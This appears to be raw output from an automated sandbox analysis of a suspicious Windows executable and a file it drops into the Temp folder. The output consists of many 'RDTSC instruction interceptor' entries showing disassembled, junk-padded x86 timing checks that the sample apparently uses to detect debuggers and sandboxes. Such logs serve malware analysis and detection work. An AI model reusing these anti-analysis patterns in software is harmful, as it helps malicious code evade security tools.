Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610737 second address: 561073D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561073D second address: 5610741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610741 second address: 5610745 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56004D4 second address: 56004DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56004DA second address: 56004DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56004DE second address: 5600519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007EFDB8CDCB16h 0x0000000e mov dword ptr [esp], ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007EFDB8CDCB17h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600519 second address: 5600531 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFDB8F26A24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600531 second address: 5600535 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600535 second address: 560056C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushfd 0x0000000d jmp 00007EFDB8F26A28h 0x00000012 and esi, 5E04DFA8h 0x00000018 jmp 00007EFDB8F26A1Bh 0x0000001d popfd 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560056C second address: 56005A1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007EFDB8CDCB14h 0x0000000c and si, 5208h 0x00000011 jmp 00007EFDB8CDCB0Bh 0x00000016 popfd 0x00000017 popad 0x00000018 mov dword ptr [esp], edi 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56005A1 second address: 56005A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edx, cx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56005D1 second address: 56005D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600710 second address: 560075D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 call 00007EFDB8F26A21h 0x0000000a mov eax, 71AAF027h 0x0000000f pop ecx 0x00000010 popad 0x00000011 test eax, eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007EFDB8F26A24h 0x0000001c sub ecx, 1C344E88h 0x00000022 jmp 00007EFDB8F26A1Bh 0x00000027 popfd 0x00000028 movzx esi, bx 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560075D second address: 56007DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007EFDB8CDCB10h 0x00000009 or ax, B0E8h 0x0000000e jmp 00007EFDB8CDCB0Bh 0x00000013 popfd 0x00000014 mov edi, ecx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 jg 00007EFE2917A80Bh 0x0000001f jmp 00007EFDB8CDCB12h 0x00000024 js 00007EFDB8CDCB33h 0x0000002a pushad 0x0000002b mov bx, si 0x0000002e mov dh, al 0x00000030 popad 0x00000031 cmp dword ptr [ebp-14h], edi 0x00000034 pushad 0x00000035 pushad 0x00000036 mov cx, di 0x00000039 pushad 0x0000003a popad 0x0000003b popad 0x0000003c popad 0x0000003d jne 00007EFE2917A7E9h 0x00000043 jmp 00007EFDB8CDCB14h 0x00000048 mov ebx, dword ptr [ebp+08h] 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56007DB second address: 56007DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56007DF second address: 56007E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56007E5 second address: 5600819 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A24h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-2Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007EFDB8F26A27h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600819 second address: 5600831 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFDB8CDCB14h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600831 second address: 5600835 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600835 second address: 56008B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 pushad 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007EFDB8CDCB18h 0x00000011 adc eax, 6FF06F28h 0x00000017 jmp 00007EFDB8CDCB0Bh 0x0000001c popfd 0x0000001d movzx eax, di 0x00000020 popad 0x00000021 jmp 00007EFDB8CDCB15h 0x00000026 popad 0x00000027 mov dword ptr [esp], esi 0x0000002a pushad 0x0000002b mov si, A2A3h 0x0000002f push eax 0x00000030 push edx 0x00000031 pushfd 0x00000032 jmp 00007EFDB8CDCB16h 0x00000037 or ax, 83E8h 0x0000003c jmp 00007EFDB8CDCB0Bh 0x00000041 popfd 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56008B7 second address: 56008ED instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007EFDB8F26A28h 0x00000008 and ax, 1648h 0x0000000d jmp 00007EFDB8F26A1Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 nop 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56008ED second address: 56008F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56008F1 second address: 56008F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56008F7 second address: 5600942 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8CDCB0Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007EFDB8CDCB0Bh 0x0000000f nop 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007EFDB8CDCB0Bh 0x00000019 xor ch, FFFFFFEEh 0x0000001c jmp 00007EFDB8CDCB19h 0x00000021 popfd 0x00000022 mov bx, si 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600942 second address: 5600963 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007EFDB8F26A1Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600963 second address: 560098A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8CDCB11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov bx, 1E12h 0x0000000f mov dx, 095Eh 0x00000013 popad 0x00000014 xchg eax, ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560098A second address: 560098E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560098E second address: 5600994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600A47 second address: 5600A4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600A4D second address: 5600A51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56000A0 second address: 56000A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56000A4 second address: 56000AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56000AA second address: 56000BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFDB8F26A1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56000BA second address: 56000F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a call 00007EFDB8CDCB0Ah 0x0000000f mov dx, cx 0x00000012 pop esi 0x00000013 mov ebx, 0998FB62h 0x00000018 popad 0x00000019 mov dword ptr [esp], ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007EFDB8CDCB14h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56000F1 second address: 5600103 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFDB8F26A1Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610046 second address: 5610085 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007EFDB8CDCB12h 0x00000008 adc ax, EA08h 0x0000000d jmp 00007EFDB8CDCB0Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 movzx esi, dx 0x00000018 popad 0x00000019 mov dword ptr [esp], ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007EFDB8CDCB0Eh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610085 second address: 561008B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561008B second address: 561008F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561015C second address: 5610160 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610160 second address: 5610164 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610164 second address: 561016A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561016A second address: 561019D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007EFDB8CDCB0Ch 0x00000009 adc al, 00000078h 0x0000000c jmp 00007EFDB8CDCB0Bh 0x00000011 popfd 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 add dword ptr [esp], 54CBBEC4h 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 mov ecx, ebx 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561019D second address: 56101A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56101A3 second address: 56101D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007EFE291624CDh 0x0000000d push 75A92B70h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [75AF4538h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 jmp 00007EFDB8CDCB0Eh 0x00000057 sub esi, esi 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c call 00007EFDB8CDCB0Dh 0x00000061 pop esi 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561021D second address: 5610223 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610223 second address: 5610227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610227 second address: 561022B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561022B second address: 561023B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561023B second address: 5610250 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610250 second address: 5610271 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8CDCB11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007EFE29151226h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610271 second address: 5610284 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610284 second address: 5610289 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56207D8 second address: 5620817 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007EFDB8F26A1Eh 0x00000010 xchg eax, esi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007EFDB8F26A27h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5620817 second address: 562082F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFDB8CDCB14h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562082F second address: 5620833 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5620833 second address: 562084E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov esi, 69F715F3h 0x0000000f mov ch, 1Eh 0x00000011 popad 0x00000012 xchg eax, esi 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 mov edi, 1839A612h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562084E second address: 56208A0 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007EFDB8F26A23h 0x00000008 jmp 00007EFDB8F26A23h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dh, ch 0x00000012 popad 0x00000013 mov esi, dword ptr [ebp+0Ch] 0x00000016 pushad 0x00000017 pushad 0x00000018 mov bx, 3F22h 0x0000001c movsx edx, si 0x0000001f popad 0x00000020 mov si, E02Bh 0x00000024 popad 0x00000025 test esi, esi 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007EFDB8F26A1Dh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56208A0 second address: 56208B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 movzx ecx, bx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007EFE2914A611h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56208B8 second address: 56208BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56208BC second address: 56208C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56208C2 second address: 56208C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56208C8 second address: 56208CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56208CC second address: 562090F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [75AF459Ch], 05h 0x0000000f pushad 0x00000010 mov edi, ecx 0x00000012 popad 0x00000013 je 00007EFE293AC5CEh 0x00000019 jmp 00007EFDB8F26A20h 0x0000001e xchg eax, esi 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007EFDB8F26A27h 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	RDTSC instruction interceptor: First address: C9DD6C second address: C9DD70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	RDTSC instruction interceptor: First address: C9DD70 second address: C9DD9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007EFDB8F26A2Eh 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	RDTSC instruction interceptor: First address: C9DD9D second address: C9DDA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	RDTSC instruction interceptor: First address: E02F18 second address: E02F1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	RDTSC instruction interceptor: First address: E02F1C second address: E02F20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	RDTSC instruction interceptor: First address: E1C4E1 second address: E1C501 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	RDTSC instruction interceptor: First address: E1C501 second address: E1C524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFDB8CDCB12h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007EFDB8CDCB06h 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	RDTSC instruction interceptor: First address: E1C96F second address: E1C979 instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFDB8F26A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	RDTSC instruction interceptor: First address: E1C979 second address: E1C98F instructions: 0x00000000 rdtsc 0x00000002 jc 00007EFDB8CDCB0Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	RDTSC instruction interceptor: First address: E1C98F second address: E1C9E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c ja 00007EFDB8F26A1Eh 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 jg 00007EFDB8F26A16h 0x0000001a js 00007EFDB8F26A18h 0x00000020 pushad 0x00000021 jmp 00007EFDB8F26A22h 0x00000026 jns 00007EFDB8F26A16h 0x0000002c push eax 0x0000002d pop eax 0x0000002e popad 0x0000002f push eax 0x00000030 push edx 0x00000031 jo 00007EFDB8F26A16h 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	RDTSC instruction interceptor: First address: E1C9E1 second address: E1C9E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	RDTSC instruction interceptor: First address: E1CB2C second address: E1CB3E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007EFDB8F26A16h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	RDTSC instruction interceptor: First address: E1CB3E second address: E1CB42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	RDTSC instruction interceptor: First address: E1CCC3 second address: E1CCDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFDB8F26A1Fh 0x00000009 jbe 00007EFDB8F26A16h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	RDTSC instruction interceptor: First address: E1E801 second address: E1E806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	RDTSC instruction interceptor: First address: E1E806 second address: E1E8A2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jbe 00007EFDB8F26A16h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f jmp 00007EFDB8F26A1Eh 0x00000014 pop eax 0x00000015 pop edx 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a pushad 0x0000001b jne 00007EFDB8F26A1Ch 0x00000021 jnc 00007EFDB8F26A18h 0x00000027 popad 0x00000028 mov eax, dword ptr [eax] 0x0000002a jmp 00007EFDB8F26A1Dh 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 push esi 0x00000034 jmp 00007EFDB8F26A1Eh 0x00000039 pop esi 0x0000003a pop eax 0x0000003b mov dword ptr [ebp+122D32FBh], ecx 0x00000041 push 00000003h 0x00000043 jmp 00007EFDB8F26A28h 0x00000048 push 00000000h 0x0000004a mov edi, 72528A04h 0x0000004f push 00000003h 0x00000051 mov ecx, dword ptr [ebp+122D2AE9h] 0x00000057 mov dword ptr [ebp+122D3BB4h], esi 0x0000005d push 9227682Ah 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 popad 0x00000067 rdtsc
